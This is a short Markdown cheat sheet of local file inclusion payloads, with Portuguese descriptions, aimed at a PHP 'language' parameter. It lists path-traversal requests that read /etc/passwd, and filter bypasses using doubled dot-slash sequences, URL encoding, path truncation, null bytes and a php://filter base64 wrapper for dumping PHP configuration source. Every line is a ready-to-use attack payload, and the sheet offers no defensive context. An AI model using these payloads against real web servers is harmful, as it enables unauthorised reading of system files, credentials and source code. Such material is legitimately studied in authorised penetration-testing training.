# File Disclosure

### Basic LFI

|  `/index.php?language=/etc/passwd`                        | LFI básico                   |
| --------------------------------------------------------- | ---------------------------- |
|  `/index.php?language=../../../../etc/passwd`             | LFI com travessia de caminho |
|  `/index.php?language=/../../../etc/passwd`               | LFI com prefixo de nome      |
|  `/index.php?language=./languages/../../../../etc/passwd` | LFI com caminho aprovado     |

### LFI Bypasses

|  `/index.php?language=....//....//....//....//etc/passwd`                                          | Ignorar filtro de travessia de caminho básico                  |
| -------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
|  `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`          | Ignorar filtros com codificação de URL                         |
|  `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` | Ignorar extensão anexada com truncamento de caminho (obsoleto) |
|  `/index.php?language=../../../../etc/passwd%00`                                                   | Ignorar extensão anexada com byte nulo (obsoleto)              |
|  `/index.php?language=php://filter/read=convert.base64-encode/resource=config`                     | Ler PHP com filtro base64                                      |
